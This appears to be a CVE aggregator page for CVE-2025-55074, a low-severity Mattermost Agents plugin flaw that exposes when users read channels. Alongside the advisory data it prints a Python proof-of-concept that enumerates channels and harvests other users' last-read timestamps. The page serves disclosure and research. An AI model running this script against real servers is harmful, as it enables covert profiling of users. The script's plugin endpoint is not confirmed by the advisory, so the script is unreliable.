Security Vulnerability Report
中文
CVE-2025-55074 CVSS 3.0 LOW

CVE-2025-55074

Published: 2025-11-18 16:15:45
Last Modified: 2025-11-25 20:24:40

Description

Mattermost versions 10.11.x <= 10.11.3, 10.5.x <= 10.5.11 fail to enforce access permissions on the Agents plugin which allows other users to determine when users had read channels via channel member objects

CVSS Details

CVSS Score
3.0
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 10.11.x <= 10.11.3
Mattermost 10.5.x <= 10.5.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-55074 PoC - Mattermost Agents Plugin Information Disclosure # Author: Security Researcher # Target: Mattermost <= 10.11.3, <= 10.5.11 import requests import json TARGET_URL = "https://mattermost.example.com" API_TOKEN = "your_auth_token_here" def exploit_agents_plugin(): """ This PoC demonstrates how an authenticated low-privilege user can query channel member objects through the Agents plugin to discover when other users read specific channels. """ headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Step 1: Enumerate channels accessible to the user channels_endpoint = f"{TARGET_URL}/api/v4/channels" channels_response = requests.get(channels_endpoint, headers=headers) if channels_response.status_code != 200: print(f"[-] Failed to enumerate channels: {channels_response.status_code}") return channels = channels_response.json() print(f"[+] Found {len(channels)} accessible channels") # Step 2: Query Agents plugin API for channel member information for channel in channels: channel_id = channel["id"] agents_endpoint = f"{TARGET_URL}/plugins/com.mattermost.agents/api/members" params = {"channel_id": channel_id} members_response = requests.get(agents_endpoint, headers=headers, params=params) if members_response.status_code == 200: members_data = members_response.json() print(f"\n[+] Channel: {channel['display_name']} ({channel_id})") # Extract reading timestamps from member objects for member in members_data: user_id = member.get("user_id", "unknown") last_read_time = member.get("last_viewed_at", "not exposed") print(f" User: {user_id[:8]}... | Last Read: {last_read_time}") print("\n[!] This information can be used to profile user behavior patterns") if __name__ == "__main__": print("CVE-2025-55074 Mattermost Agents Plugin Exploitation") print("=" * 50) exploit_agents_plugin()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55074", "sourceIdentifier": "[email protected]", "published": "2025-11-18T16:15:44.500", "lastModified": "2025-11-25T20:24:39.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 10.11.x <= 10.11.3, 10.5.x <= 10.5.11 fail to enforce access permissions on the Agents plugin which allows other users to determine when users had read channels via channel member objects"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:N/A:N", "baseScore": 3.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.5, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.5.0", "versionEndExcluding": "10.5.12", "matchCriteriaId": "CCE1652A-13F7-4934-9F90-28129BAEE240"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.4", "matchCriteriaId": "2A1F41DC-D93D-48A7-8A3B-623C3344E979"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}